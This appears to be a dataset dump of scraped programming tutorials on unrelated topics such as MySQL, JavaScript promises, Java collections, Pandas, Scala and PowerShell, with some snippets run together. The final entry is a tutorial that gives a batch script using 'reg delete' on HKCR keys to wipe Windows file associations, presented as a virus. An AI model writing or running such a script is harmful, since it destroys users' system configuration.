code-rag-bench/online-tutorials huggingface dataset:
MySQL SELECT products WHERE 'average price per product' < value?

Let us first create a table −
mysql> create table DemoTable848(
   ProductId int,
   ProductPrice int
);
Query OK, 0 rows affected (1.20 sec)
Insert some records in the table using insert command −
mysql> insert into DemoTable848 values(100,30);
Query OK, 1 row affected (0.57 sec)
mysql> insert into DemoTable848 values(101,50);
Query OK, 1 row affected (1.06 sec)
mysql> insert into DemoTable848 values(100,40);
Query OK, 1 row affected (0.10 sec)
mysql> insert into DemoTable848 values(101,25);
Query OK, 1 row affected (0.11 sec)
mysql> insert into DemoTable848 values(100,20);
Query OK, 1 row affected (0.31 sec)
Display all records from the table using select statement −
mysql> select *from DemoTable848;
This will produce the following output −
+-----------+--------------+
| ProductId | ProductPrice |
+-----------+--------------+
| 100       | 30           |
| 101       | 50           |
| 100       | 40           |
| 101       | 25           |
| 100       | 20           |
+-----------+--------------+
5 rows in set (0.00 sec)
Following is the query to select products WHERE 'average price per product' < value. Here, we wanted the average to be less than 35. The same is only valid for corresponding column values with ProductId 100 −
mysql> select ProductId,avg(ProductPrice) from DemoTable848 group by ProductId having AVG(ProductPrice) < 35;
This will produce the following output −
+-----------+-------------------+
| ProductId | avg(ProductPrice) |
+-----------+-------------------+
| 100       | 30.0000           |
+-----------+-------------------+
1 row in set (0.00 sec)
How to use finally on promise with then and catch in Javascript?

When a promise is settled, i.e either fulfilled or rejected, the specified callback function in finally method is invoked. The finally() method also returns a Promise.
This provides a way for code to be run whether the promise was fulfilled successfully or rejected once the Promise has been dealt with. Let us look at an example,
new Promise(
   (resolve) => setTimeout(resolve("success"), 1000)
).then(val => console.log(val)).finally(() => console.log("Promise complete!"))
success
Promise complete!
Now let us look what happens if a promise fails −
// No method get on undefined. This will throw an error
new Promise(() => undefined.get())
   .then(val => console.log(val))
   .catch(err => console.log("Failed!"))
   .finally(() => console.log("Promise complete!"))
Failed! 
Promise complete!
Note in both the cases whether failed or succeeded, the promise executed the finally statement.
How can MySQL IF ELSEIF ELSE statement be used in a stored procedure?

MySQL IF ELSEIF ELSE execute the statements based on multiple expressions Its syntax is as follows −
IF expression THEN
   statements;
ELSEIF elseif-expression THEN
   elseif-statements;
... ... ... ...
ELSE
  else-statements;
END IF;
The statements must end with a semicolon.
To demonstrate the use of IF ELSEIF ELSE statement within MySQL stored procedure, we are creating the following stored procedure which is based on the values, as shown below, of the table named ‘student_info’ −
mysql> Select * from student_info;
+------+---------+------------+------------+
| id   | Name    | Address    | Subject    |
+------+---------+------------+------------+
| 101  | YashPal | Amritsar   | History    |
| 105  | Gaurav  | Jaipur     | Literature |
| 125  | Raman   | Shimla     | Computers  |
+------+---------+------------+------------+
3 rows in set (0.00 sec)
The following query will create a procedure named ‘coursedetails_IF_ELSEIF’ which have IF ELSEIF ELSE statements in it −
mysql> DELIMITER // ;
mysql> CREATE PROCEDURE coursedetails_IF_ELSEIF(IN S_Subject Varchar(20), OUT S_Course varchar(20))
    -> BEGIN
    -> DECLARE Sub Varchar(20);
    -> SELECT Subject INTO SUB
    -> FROM Student_info WHERE S_Subject = Subject;
    -> IF Sub = 'Computers' THEN
    -> SET S_Course = 'B.Tech(CSE)';
    -> ELSEIF Sub = 'History' THEN
    -> SET S_Course = 'Masters in History';
    -> ELSEIF Sub = 'Literature' THEN
    -> SET S_Course = 'Masters in English';
    -> END IF;
    -> END //
Query OK, 0 rows affected (0.00 sec)
Now, we can see the result below when we invoke this procedure −
mysql> Delimiter ; //

mysql> CALL coursedetails_IF_ELSEIF('Computers', @S_Course);
Query OK, 1 row affected (0.00 sec)

mysql> Select @S_Course;
+-------------+
| @S_Course   |
+-------------+
| B.Tech(CSE) |
+-------------+
1 row in set (0.00 sec)

mysql> CALL coursedetails_IF_ELSEIF ('Literature', @S_Course);
Query OK, 1 row affected (0.00 sec)

mysql> Select @S_Course;
+--------------------+
| @S_Course          |
+--------------------+
| Masters in English |
+--------------------+
1 row in set (0.00 sec)
Angular Google Charts - Basic Bar Chart

Following is an example of a basic Bar Chart.
We have already seen the configurations used to draw a chart in Google Charts Configuration Syntax chapter. Now, let us see an example of a basic Bar Chart.
We've used BarChart class to show bar based chart.
type = 'BarChart';

app.component.ts
import { Component } from '@angular/core';
@Component({
   selector: 'app-root',
   templateUrl: './app.component.html',
   styleUrls: ['./app.component.css']
})
export class AppComponent {
   title = 'Population (in millions)';
   type = 'BarChart';
   data = [
      ["2012", 900],
      ["2013", 1000],
      ["2014", 1170],
      ["2015", 1250],
      ["2016", 1530]
   ];
   columnNames = ['Year', 'Asia'];
   options = { };
   width = 550;
   height = 400;
}
Verify the result.

    16 Lectures 
     1.5 hours 

 Anadi Sharma

    28 Lectures 
     2.5 hours 

 Anadi Sharma

    11 Lectures 
     7.5 hours 

 SHIVPRASAD KOIRALA

    16 Lectures 
     2.5 hours 

 Frahaan Hussain

    69 Lectures 
     5 hours 

 Senol Atac

    53 Lectures 
     3.5 hours 

 Senol Atac
 Print
 Add Notes
 Bookmark this page
HTML 5 video or audio playlist

Use HTML with JavaScript to add playlist. The onended event fires when the audio/video has reached the end. You can add messages like “Thank you for watching”, “Stay tuned!”, etc
You can try to run the following code to implement the onended attribute −
<!DOCTYPE HTML>
<html>
   <body>
      <video width = "300" height = "200" controls onended = "display()">
         <source src = "/html5/foo.ogg" type = "video/ogg" />
         Your browser does not support the video element.
      </video>
      <script>
         function display() {
            alert ("Thank you for watching! Stay tuned!");
         }
      </script>
   </body>
</html>
You could load the next clip in the onended event like in the below-given code
<script >
   var next = "path/of/next/video.mp4";
   var video = document.getElementById('video');
   video.onended = function(){
   video.src = next;
}
</script>
<video id = "video" src = "path/of/current/video.mp4" autoplayautobuffer controls />
Java - The SortedSet Interface

The SortedSet interface extends Set and declares the behavior of a set sorted in an ascending order. In addition to those methods defined by Set, the SortedSet interface declares the methods summarized in the following table −
Several methods throw a NoSuchElementException when no items are contained in the invoking set. A ClassCastException is thrown when an object is incompatible with the elements in a set.
A NullPointerException is thrown if an attempt is made to use a null object and null is not allowed in the set.
Comparator comparator( )
Returns the invoking sorted set's comparator. If the natural ordering is used for this set, null is returned.
Object first( )
Returns the first element in the invoking sorted set.
SortedSet headSet(Object end)
Returns a SortedSet containing those elements less than end that are contained in the invoking sorted set. Elements in the returned sorted set are also referenced by the invoking sorted set.
Object last( )
Returns the last element in the invoking sorted set.
SortedSet subSet(Object start, Object end)
Returns a SortedSet that includes those elements between start and end.1. Elements in the returned collection are also referenced by the invoking object.
SortedSet tailSet(Object start)
Returns a SortedSet that contains those elements greater than or equal to start that are contained in the sorted set. Elements in the returned set are also referenced by the invoking object.
SortedSet have its implementation in various classes like TreeSet. Following is an example of a TreeSet class −
import java.util.*;
public class SortedSetTest {

   public static void main(String[] args) {
      // Create the sorted set
      SortedSet set = new TreeSet(); 

      // Add elements to the set
      set.add("b");
      set.add("c");
      set.add("a");

      // Iterating over the elements in the set
      Iterator it = set.iterator();

      while (it.hasNext()) {
         // Get element
         Object element = it.next();
         System.out.println(element.toString());
      }
   }
}
This will produce the following result −
a
b
c


    16 Lectures 
     2 hours 

 Malhar Lathkar

    19 Lectures 
     5 hours 

 Malhar Lathkar

    25 Lectures 
     2.5 hours 

 Anadi Sharma

    126 Lectures 
     7 hours 

  Tushar Kale

    119 Lectures 
     17.5 hours 

 Monica Mittal

    76 Lectures 
     7 hours 

 Arnab Chakraborty
 Print
 Add Notes
 Bookmark this page
How to Install Multiple R Packages? - GeeksforGeeks

25 Mar, 2022

In this article, we will see how to install multiple packages in R Programming Language. Installation can be done in two ways.
Step 1: Open R Studio
Step 2: Navigate to Tools and select the Install packages option 
Step 3: In the Text box packages, enter the package names.
                   
Step 4: Click on install button
Step 5: Find the console after clicking on the install button. If all packages installed successfully the below output will be generated. Otherwise, follow the steps again.
In this method simply specify the packages to be installed as a vector to install.packages() function.
Syntax:
install.packages(c(“package1′′,....,”package n”))
Example
R
 

 
 










install.packages(c("ggplot2","dpylr")) 






To load multiple packages at once specify the names of the packages to be loaded to lapply() function.
Syntax:
lapply(c(“package 1′′,...”package n”), require, character.only = TRUE)
Example:
R
 

 
 










lapply(c("dpylr", "ggplot2"), require, character.only = TRUE)






surinderdawra388

how-to-install


Picked


R-Packages


How To


Installation Guide


R Language

Writing code in comment? 
                                    Please use ide.geeksforgeeks.org, 
                                    generate link and share the link here.
                                
How to Install FFmpeg on Windows?
How to Set Git Username and Password in GitBash?
How to Add External JAR File to an IntelliJ IDEA Project?
How to Install Jupyter Notebook on MacOS?
How to Check the OS Version in Linux?
Installation of Node.js on Linux
How to Install FFmpeg on Windows?
How to Install Pygame on Windows ?
How to Add External JAR File to an IntelliJ IDEA Project?
How to Install Jupyter Notebook on MacOS?
How to draw a line in OpenCV using C++?

To draw a line we need two points-the starting point and ending point. We also require a canvas to draw the line.
Using OpenCV, the matrix in our canvas, we need to define the line's starting and ending points. We require to assign a color to the line as well. The thickness of the line has to be explained too. If we want to draw a line using OpenCV, we need to declare a matrix, two points, and color and line thickness.
Using OpenCV we have to include <imgproc.hpp> header because line() function is defined in this header.
The basic syntax of this method is as follows −
line(whiteMatrix, starting, ending, line_Color, thickness);
The following program shows how to draws a line on an image in OpenCV −
#include<iostream>
#include<opencv2/highgui/highgui.hpp>
#include<opencv2/imgproc/imgproc.hpp>
using namespace cv;
using namespace std;
int main() {
   Mat whiteMatrix(200, 200, CV_8UC3, Scalar(255, 255, 255));//Declaring a white matrix//
   Point starting(50, 50);//Starting Point of the line
   Point ending(150, 150);//Ending Point of the line
   Scalar line_Color(0, 0, 0);//Color of the line
   int thickness = 2;//thickens of the line
   namedWindow("GrayImage");//Declaring a window to show the line
   line(whiteMatrix, starting, ending, line_Color, thickness);//using line() function to draw the line//
   imshow("GrayImage", whiteMatrix);//showing the line//
   waitKey(0);//Waiting for KeyStroke
   return 0;
}
Data Integration with Pandas. How to easily import Data | by Christianlauer | Towards Data Science

For adhoc data analysis via Jupyter Notebook you often need external data via CSV, Excel or database to process them with Python. Reading the data is relatively easy thanks to the handy Pandas library. I have summarized the standard procedures for you in this article. Of course, you can also use the same errors for later standardized and integrated data integration processes, such as an ETL for your Data Warehouse.
Here is my selection of commands and sources that I use most often. If you want to try it out as well, you can simply use Jupyter Notebook Online — Click here [1].
Read from a CSV File
A very typical first use case is of course the famous CSV file, which was either provided to you as a dump of a source system, and can be retrieved online or was automatically stored on a file folder.
import pandas as pdpd.read_csv(‘yourfilename.csv’, header=None, nrows=5)
After importing Pandas and importing the file via read_csv you will already see success:
Read Data from Google Sheet
Same like above but with a Google Sheets Link — be aware that you published the Sheet to the web before. (Go to file →publish to web [2])
import pandas as pdnew_google_sheet_url = ‘https://docs.google.com/spreadsheets/d/e/2PACX-1vQ8lv36OQPiqgfFjdgJF9clvwhhh2Ao2xDzkIzYp2g1CqBbpLsnW5nefPsPVOKKBX2PdFVX6Mweyyut/pub?gid=1696994381&single=true&output=csv'df=pd.read_csv(new_google_sheet_url)
Et voilà:
Read Data from a Database
Beside CSV and other similar files you will often connect data to a database — here we need beside Pandas also the sqlite3 module[3].
import pandas as pdimport sqlite3
After the successful import of the data, we now can easily query tables via SQL String:
# Read via SQLite databasescon = sqlite3.connect(“your.database.link”)#Read table via Select Statementplayer = pd.read_sql_query(“SELECT * from Table”, con)#close the connectioncon.close()
Other possible Data Sources
In addition to the standard data sources mentioned above, there are of course many other possible data sources, such as data warehouse technologies like Google Big Query and Amazon’s Redshift or even NoSQL databases. Here, you will often find downloadable Pythons libraries [4].
Whether for an adhoc data analysis via e.g. Jupyter Notebook or later for standardized and automated data integration processes, external data sources like files or databases are often needed. These can be easily connected and queried with the toolset Python, Pandas and possibly other libraries. In this article, the most commonly used data sources were mentioned as an overview, further data sources can usually be accessed with other third-party libraries.
[1] Jupyter.org, Mainpage (2021)
[2] zhukovgreen, Stackoverflow (2016)
[3] pythoncentral.io, Introduction to SQLite in Python (2013)
[4] Google, Downloading BigQuery data to pandas using the BigQuery Storage API (2021)
jQuery - Widget Spinner

The Widget Spinner function can be used with widgets in JqueryUI.Spinner provide a quick way to select one value from a set.
Here is the simple syntax to use Spinner −
$( "#menu" ).selectmenu();

Following is a simple example showing the usage of Spinner −
<!doctype html>
<html lang = "en">
   <head>
      <meta charset = "utf-8">
      <title>jQuery UI Spinner - Default functionality</title>
		
      <link rel = "stylesheet" 
         href = "//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css">
			
      <script src = "//code.jquery.com/jquery-1.10.2.js">
      </script>
      <script 
         src = "/resources/demos/external/jquery-mousewheel/jquery.mousewheel.js">
      </script>
      <script src = "//code.jquery.com/ui/1.11.4/jquery-ui.js">
      </script>

      <script>
         $(function() {
			
            var spinner = $( "#spinner" ).spinner();
 
            $( "#disable" ).click(function() {
               if ( spinner.spinner( "option", "disabled" ) ) {
                  spinner.spinner( "enable" );
               } else {
                  spinner.spinner( "disable" );
               }
            });
				
            $( "#destroy" ).click(function() {
               if ( spinner.spinner( "instance" ) ) {
                  spinner.spinner( "destroy" );
               } else {
                  spinner.spinner();
               }
            });
				
            $( "#getvalue" ).click(function() {
               alert( spinner.spinner( "value" ) );
            });
				
            $( "#setvalue" ).click(function() {
               spinner.spinner( "value", 5 );
            });
 
            $( "button" ).button();
				
         });
      </script>
   </head>

   <body>
      <p>
         <label for = "spinner">Select a value:</label>
         <input id = "spinner" name = "value">
      </p>
   </body>
</html>
This will produce following result −

Select a value:
▲▼


    27 Lectures 
     1 hours 

 Mahesh Kumar

    27 Lectures 
     1.5 hours 

 Pratik Singh

    72 Lectures 
     4.5 hours 

 Frahaan Hussain

    60 Lectures 
     9 hours 

 Eduonix Learning Solutions

    17 Lectures 
     2 hours 

 Sandip Bhattacharya

    12 Lectures 
     53 mins

 Laurence Svekis
 Print
 Add Notes
 Bookmark this page
Scala - Recursion Functions

Recursion plays a big role in pure functional programming and Scala supports recursion functions very well. Recursion means a function can call itself repeatedly.
Try the following program, it is a good example of recursion where factorials of the passed number are calculated.
object Demo {
   def main(args: Array[String]) {
      for (i <- 1 to 10)
         println( "Factorial of " + i + ": = " + factorial(i) )
   }
   
   def factorial(n: BigInt): BigInt = {  
      if (n <= 1)
         1  
      else    
      n * factorial(n - 1)
   }
}
Save the above program in Demo.scala. The following commands are used to compile and execute this program.
\>scalac Demo.scala
\>scala Demo

Factorial of 1: = 1
Factorial of 2: = 2
Factorial of 3: = 6
Factorial of 4: = 24
Factorial of 5: = 120
Factorial of 6: = 720
Factorial of 7: = 5040
Factorial of 8: = 40320
Factorial of 9: = 362880
Factorial of 10: = 3628800


    82 Lectures 
     7 hours 

 Arnab Chakraborty

    23 Lectures 
     1.5 hours 

 Mukund Kumar Mishra

    52 Lectures 
     1.5 hours 

 Bigdata Engineer

    76 Lectures 
     5.5 hours 

 Bigdata Engineer

    69 Lectures 
     7.5 hours 

 Bigdata Engineer

    46 Lectures 
     4.5 hours 

 Stone River ELearning
 Print
 Add Notes
 Bookmark this page
Difference between Parcelable and Serializable in android

This example demonstrates about Difference between Parcel able and Serializable in android
Serializable is a markable interface or we can call as an empty interface. It doesn’t have any pre-implemented methods. Serializable is going to convert an object to byte stream. So the user can pass the data between one activity to another activity. The main advantage of serializable is the creation and passing data is very easy but it is a slow process compare to parcelable.
A simple example of serializable as shown below –
import java.io.Serializable;
class serializableObject implements Serializable {
   String name;
   public serializableObject(String name) {
      this.name = name;
   }
   public String getName() {
      return name;
   }
}
Parcel able is faster than serializable. Parcel able is going to convert object to byte stream and pass the data between two activities. Writing parcel able code is little bit complex compare to serialization. It doesn’t create more temp objects while passing the data between two activities.
A simple example of Parcel able as shown below –
import android.os.Parcel;
import android.os.Parcelable;
class parcleObject implements Parcelable {
   private String name;
   protected parcleObject(Parcel in) {
      this.name = in.readString();
   }
   public parcleObject(String name) {
      this.name = name;
   }
   public String getName() {
      return name;
   }
   public void setName(String name) {
      this.name = name;
   }
   public static final Creator<parcleObject> CREATOR = new Creator<parcleObject>() {
      @Override
      public parcleObject createFromParcel(Parcel in) {
         return new parcleObject(in);
      }
      @Override
      public parcleObject[] newArray(int size) {
         return new parcleObject[size];
      }
   };
   @Override
   public int describeContents() {
      return 0;
   }
   @Override
   public void writeToParcel(Parcel dest, int flags) {
      dest.writeString(this.name);
   }
}
LocalDate getYear() method in Java

The year for a particular LocalDate can be obtained using the getYear() method in the LocalDate class in Java. This method requires no parameters and it returns the year which can range from MIN_YEAR to MAX_YEAR.
A program that demonstrates this is given as follows
 Live Demo
import java.time.*;
public class Demo {
   public static void main(String[] args) {
      LocalDate ld = LocalDate.parse("2019-02-14");
      System.out.println("The LocalDate is: " + ld);
      System.out.println("The year is: " + ld.getYear());
   }
}
The LocalDate is: 2019-02-14
The year is: 2019
Now let us understand the above program.
First the LocalDate is displayed. Then the year for the LocalDate is displayed using the getYear() method. A code snippet that demonstrates this is as follows:
LocalDate ld = LocalDate.parse("2019-02-14");
System.out.println("The LocalDate is: " + ld);
System.out.println("The year is: " + ld.getYear());
Hive - Data Types

This chapter takes you through the different data types in Hive, which are involved in the table creation. All the data types in Hive are classified into four types, given as follows:
Column Types
Literals
Null Values
Complex Types
Column type are used as column data types of Hive. They are as follows:
Integer type data can be specified using integral data types, INT. When the data range exceeds the range of INT, you need to use BIGINT and if the data range is smaller than the INT, you use SMALLINT. TINYINT is smaller than SMALLINT.
The following table depicts various INT data types:
String type data types can be specified using single quotes (' ') or double quotes (" "). It contains two data types: VARCHAR and CHAR. Hive follows C-types escape characters.
The following table depicts various CHAR data types:
It supports traditional UNIX timestamp with optional nanosecond precision. It supports java.sql.Timestamp format “YYYY-MM-DD HH:MM:SS.fffffffff” and format “yyyy-mm-dd hh:mm:ss.ffffffffff”.
DATE values are described in year/month/day format in the form {{YYYY-MM-DD}}.
The DECIMAL type in Hive is as same as Big Decimal format of Java. It is used for representing immutable arbitrary precision. The syntax and example is as follows:
DECIMAL(precision, scale)
decimal(10,0)
Union is a collection of heterogeneous data types. You can create an instance using create union. The syntax and example is as follows:
UNIONTYPE<int, double, array<string>, struct<a:int,b:string>>

{0:1} 
{1:2.0} 
{2:["three","four"]} 
{3:{"a":5,"b":"five"}} 
{2:["six","seven"]} 
{3:{"a":8,"b":"eight"}} 
{0:9} 
{1:10.0}
The following literals are used in Hive:
Floating point types are nothing but numbers with decimal points. Generally, this type of data is composed of DOUBLE data type.
Missing values are represented by the special value NULL.
The Hive complex data types are as follows:
Arrays in Hive are used the same way they are used in Java.
Syntax: ARRAY<data_type>
Maps in Hive are similar to Java Maps.
Syntax: MAP<primitive_type, data_type>
Structs in Hive is similar to using complex data with comment.
Syntax: STRUCT<col_name : data_type [COMMENT col_comment], ...>

    50 Lectures 
     4 hours 

 Navdeep Kaur

    67 Lectures 
     4 hours 

 Bigdata Engineer

    109 Lectures 
     2 hours 

 Bigdata Engineer
 Print
 Add Notes
 Bookmark this page
What is unsafe/unmanaged code in C#?

Applications that are not under the control of the CLR are unmanaged. The unsafe code or the unmanaged code is a code block that uses a pointer variable and allows pointer usage in unmanaged code.
The following is the code −
static unsafe void Main(string[] args) {
   int x = 100;
   int* a = &x;

   Console.WriteLine("Data : {0} ", x);
   Console.WriteLine("Address : {0}", (int)a);
   Console.ReadKey();
}
Tryit Editor v3.7

Tryit: The class selector only for specific element
How to save figures to pdf as raster images in Matplotlib?

To save figures to pdf as raster images in Matplotlib, we can take the following steps −
Set the figure size and adjust the padding between and around the subplots.
Create a new figure or activate an existing figure.
Add an axes to the figure as part of a subplot arrangement.
Create random data using numpy.
Display the data as an image, i.e., on a 2D regular raster.
Save the plot as pdf format.
import numpy as np
import matplotlib.pyplot as plt

plt.rcParams["figure.figsize"] = [7.50, 3.50]
plt.rcParams["figure.autolayout"] = True

fig = plt.figure()
ax = fig.add_subplot(111, rasterized=True)
data = np.random.rand(5, 5)

ax.imshow(data, cmap="copper", aspect=True, interpolation="nearest")

plt.savefig("rasterized.pdf")
When we execute the code, it will save the following plot in the project directory with the name "rasterized.pdf".
How to resize an image using Tkinter?

To process images with Tkinter and other Python packages, we generally use the Pillow Package (or PIL) in Python. It provides a way to load, process, manipulate, convert, and helps to resize the images. The package can be installed by using the command pip install Pillow. Once the package is installed, we can import it using the ‘from PIL import Image, ImageTk’ command.
To resize an image using the PIL package, we have to follow these steps −
Install Pillow Package or PIL in the local machine.
Install Pillow Package or PIL in the local machine.
Open the Image using Open(image_location) method.
Open the Image using Open(image_location) method.
Resize the given image using resize((w,h), Image. ANTIALIAS) method where ANTIALIAS removes the structural Padding from the Image around it.
Resize the given image using resize((w,h), Image. ANTIALIAS) method where ANTIALIAS removes the structural Padding from the Image around it.
Display the Image using Canvas create_image(x,y, image) method.
Display the Image using Canvas create_image(x,y, image) method.
#Import the required Libraries
from tkinter import *
from PIL import Image,ImageTk

#Create an instance of tkinter frame
win = Tk()

#Set the geometry of tkinter frame
win.geometry("750x270")

#Create a canvas
canvas= Canvas(win, width= 600, height= 400)
canvas.pack()

#Load an image in the script
img= (Image.open("download.png"))

#Resize the Image using resize method
resized_image= img.resize((300,205), Image.ANTIALIAS)
new_image= ImageTk.PhotoImage(resized_image)

#Add image to the Canvas Items
canvas.create_image(10,10, anchor=NW, image=new_image)

win.mainloop()
Running the above code will display a window that will display a resized image in the Canvas.
Python Lambda

A lambda function is a small anonymous function.
A lambda function can take any number of arguments, but can only have one expression.
The expression is executed and the result is returned:
Add 10 to argument a, and 
  return the result:
Lambda functions can take any number of arguments:
Multiply argument a with argument 
  b and return the 
  result:
Summarize argument a, 
  b, and c and 
  return the 
  result:
The power of lambda is better shown when you use them as an anonymous 
function inside another function.
Say you have a function definition that takes one argument, and that argument 
will be multiplied with an unknown number:
Use that function definition to make a function that always doubles the 
number you send in:
Or, use the same function definition to make a function that always triples the 
number you send in:
Or, use the same function definition to make both functions, in the same 
program:
Use lambda functions when an anonymous function is required for a short period of time.
Create a lambda function that takes one parameter (a) and returns it.
x =    

Start the Exercise
We just launchedW3Schools videos
Get certifiedby completinga course today!
If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:
help@w3schools.com
Your message has been sent to W3Schools.
Ruby | Array class insert() function - GeeksforGeeks

07 Jan, 2020
insert() is a Array class method which returns the array by inserting a given element at the specified index value.
Syntax: Array.insert()
Parameter: Arrayindexelement
Return: insert elements the specific index value
Example #1 :
# Ruby code for insert() method  # declaring arraya = [18, 22, 33, nil, 5, 6]  # declaring arrayb = [1, 4, 1, 1, 88, 9]  # declaring arrayc = [18, 22, nil, nil, 50, 6]  # insertputs "insert : #{a.insert(2, 5)}\n\n"  # insertputs "insert : #{b.insert(2, 4, 1, 1)}\n\n"  # insertputs "insert : #{c.insert(4, 4)}\n\n"
Output :
insert : [18, 22, 5, 33, nil, 5, 6]

insert : [1, 4, 4, 1, 1, 1, 1, 88, 9]

insert : [18, 22, nil, nil, 4, 50, 6]


Example #2 :
# Ruby code for insert() method  # declaring arraya = ["abc", "nil", "dog"]  # declaring arrayb = ["cow", nil, "dog"]  # declaring arrayc = ["cat", nil, nil]  # insertputs "insert : #{a.insert(2, 5)}\n\n"  # insertputs "insert : #{b.insert(2, 4, 1, 1)}\n\n"  # insertputs "insert : #{c.insert(4, 4)}\n\n"
Output :
insert : ["abc", "nil", 5, "dog"]

insert : ["cow", nil, 4, 1, 1, "dog"]

insert : ["cat", nil, nil, nil, 4]


Ruby Array-class
Ruby-Methods
Ruby
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Include v/s Extend in Ruby
Ruby | Enumerator each_with_index function
Ruby | Array select() function
Global Variable in Ruby
Ruby | Hash delete() function
Ruby | String gsub! Method
Ruby | String capitalize() Method
How to Make a Custom Array of Hashes in Ruby?
Ruby | Case Statement
Ruby | Numeric round() function
C++ | References | Question 4 - GeeksforGeeks

28 Jun, 2021
Predict the output of following C++ program.
#include<iostream>using namespace std;  int &fun(){    static int x = 10;    return x;}int main(){    fun() = 30;    cout << fun();    return 0;}
(A) Compiler Error: Function cannot be used as lvalue(B) 10(C) 30Answer: (C)Explanation: When a function returns by reference, it can be used as lvalue. Since x is a static variable, it is shared among function calls and the initialization line “static int x = 10;” is executed only once.The function call fun() = 30, modifies x to 30. The next call “cout << fun()" returns the modified value.Quiz of this Question
C++-References
References
C Language
C++ Quiz
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Multidimensional Arrays in C / C++
rand() and srand() in C/C++
Left Shift and Right Shift Operators in C/C++
Core Dump (Segmentation fault) in C/C++
fork() in C
C++ | Exception Handling | Question 3
C++ | Inheritance | Question 7
C++ | new and delete | Question 4
C++ | Inheritance | Question 1
C++ | Inheritance | Question 11
T-SQL - SELECT Statement

SQL Server SELECT statement is used to fetch the data from a database table which returns data in the form of result table. These result tables are called result-sets.
Following is the basic syntax of SELECT statement −
SELECT column1, column2, columnN FROM table_name;

Where, column1, column2...are the fields of a table whose values you want to fetch. If you want to fetch all the fields available in the field, then you can use the following syntax −
SELECT * FROM table_name;

Consider the CUSTOMERS table having the following records −
ID  NAME       AGE       ADDRESS             SALARY 
1   Ramesh     32        Ahmedabad           2000.00 
2   Khilan     25        Delhi               1500.00 
3   kaushik    23        Kota                2000.00 
4   Chaitali   25        Mumbai              6500.00 
5   Hardik     27        Bhopal              8500.00 
6   Komal      22        MP                  4500.00 
7   Muffy      24        Indore              10000.00 

Following command is an example, which would fetch ID, Name and Salary fields of the customers available in CUSTOMERS table −
SELECT ID, NAME, SALARY FROM CUSTOMERS; 
The above command will produce the following output.
ID  NAME          SALARY 
1   Ramesh        2000.00 
2   Khilan        1500.00 
3   kaushik       2000.00 
4   Chaitali      6500.00 
5   Hardik        8500.00 
6   Komal         4500.00 
7   Muffy         10000.00 

If you want to fetch all the fields of CUSTOMERS table, then use the following query −
SELECT * FROM CUSTOMERS;
The above will produce the following output.
ID  NAME       AGE       ADDRESS              SALARY 
1   Ramesh     32        Ahmedabad            2000.00 
2   Khilan     25        Delhi                1500.00 
3   kaushik    23        Kota                 2000.00 
4   Chaitali   25        Mumbai               6500.00 
5   Hardik     27        Bhopal               8500.00 
6   Komal      22        MP                   4500.00 
7   Muffy      24        Indore               10000.00 


    12 Lectures 
     2 hours 

 Nishant Malik

    10 Lectures 
     1.5 hours 

 Nishant Malik

    12 Lectures 
     2.5 hours 

 Nishant Malik

    20 Lectures 
     2 hours 

 Asif Hussain

    10 Lectures 
     1.5 hours 

 Nishant Malik

    48 Lectures 
     6.5 hours 

 Asif Hussain
 Print
 Add Notes
 Bookmark this page
Powershell - Check Folder Existence

Test-Path cmdlet is used to check existence of a folder.
In this example, we're having a folder test in D:\temp directory
Type the following command in PowerShell ISE Console
Test-Path D:\temp\test
You can see following output in PowerShell console.
Test-Path D:\temp\test
True

In this example, we're not having a folder named test2 in D:\temp directory
Type the following command in PowerShell ISE Console
Test-Path D:\temp\test2
You can see following output in PowerShell console.
Test-Path D:\temp\test2
False


    15 Lectures 
     3.5 hours 

 Fabrice Chrzanowski

    35 Lectures 
     2.5 hours 

 Vijay Saini

    145 Lectures 
     12.5 hours 

 Fettah Ben
 Print
 Add Notes
 Bookmark this page
Java Inner Class (Nested Class)

In Java, it is also possible to nest classes (a class within a class). The purpose 
of nested classes is to group classes that belong together, which makes your code more readable and maintainable.
To access the inner class, create an object of the outer class, and then create an object of the inner class:
class OuterClass {
  int x = 10;

  class InnerClass {
    int y = 5;
  }
}

public class Main {
  public static void main(String[] args) {
    OuterClass myOuter = new OuterClass();
    OuterClass.InnerClass myInner = myOuter.new InnerClass();
    System.out.println(myInner.y + myOuter.x);
  }
}

// Outputs 15 (5 + 10)
 


Try it Yourself »

Unlike a "regular" class, an inner class can be private or protected. 
If you don't want outside objects to access the inner class, declare 
the class as private:
class OuterClass {
  int x = 10;

  private class InnerClass {
    int y = 5;
  }
}

public class Main {
  public static void main(String[] args) {
    OuterClass myOuter = new OuterClass();
    OuterClass.InnerClass myInner = myOuter.new InnerClass();
    System.out.println(myInner.y + myOuter.x);
  }
}
 

If you try to access a private inner class from an outside class, an error occurs:

Try it Yourself »

An inner class can also be static, which means that you can access it without 
creating an object of the outer class:
class OuterClass {
  int x = 10;

  static class InnerClass {
    int y = 5;
  }
}

public class Main {
  public static void main(String[] args) {
    OuterClass.InnerClass myInner = new OuterClass.InnerClass();
    System.out.println(myInner.y);
  }
}

// Outputs 5
 


Try it Yourself »

Note: just like static attributes and methods, a static inner class does not have access to members of the outer class.
One advantage of inner classes, is that they can access attributes and methods of the outer class:
class OuterClass {
  int x = 10;

  class InnerClass {
    public int myInnerMethod() {
      return x;
    }
  }
}

public class Main {
  public static void main(String[] args) {
    OuterClass myOuter = new OuterClass();
    OuterClass.InnerClass myInner = myOuter.new InnerClass();
    System.out.println(myInner.myInnerMethod());
  }
}

// Outputs 10


Try it Yourself »

We just launchedW3Schools videos
Get certifiedby completinga course today!
If you want to report an error, or if you want to make a suggestion, do not hesitate to send us an e-mail:
help@w3schools.com
Your message has been sent to W3Schools.
How to Create a Virus that Deletes the Registry File of Windows OS? - GeeksforGeeks

13 Apr, 2021
The virus that we are going to create in this article can be used to wipe out the Windows registry or simply registry from the database of the Windows system.
The registry or Windows registry is a database that holds information regarding the settings, options, and critical values that software and hardware in the Windows OS use. For this, we don’t have to download any specific software we can start coding in Notepad and save the file as .bat Extension. 
Now to create the virus follow the below steps:
Step 1: Press the Window + R Button from the Keyboard. This will open the Run Dialog book will Open in front of us. 
Step 2: Type Notepad in the Dialog Box and press Enter. This will open the notepad for us.
Step 3: Type in the below-mentioned code in the Notepad:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
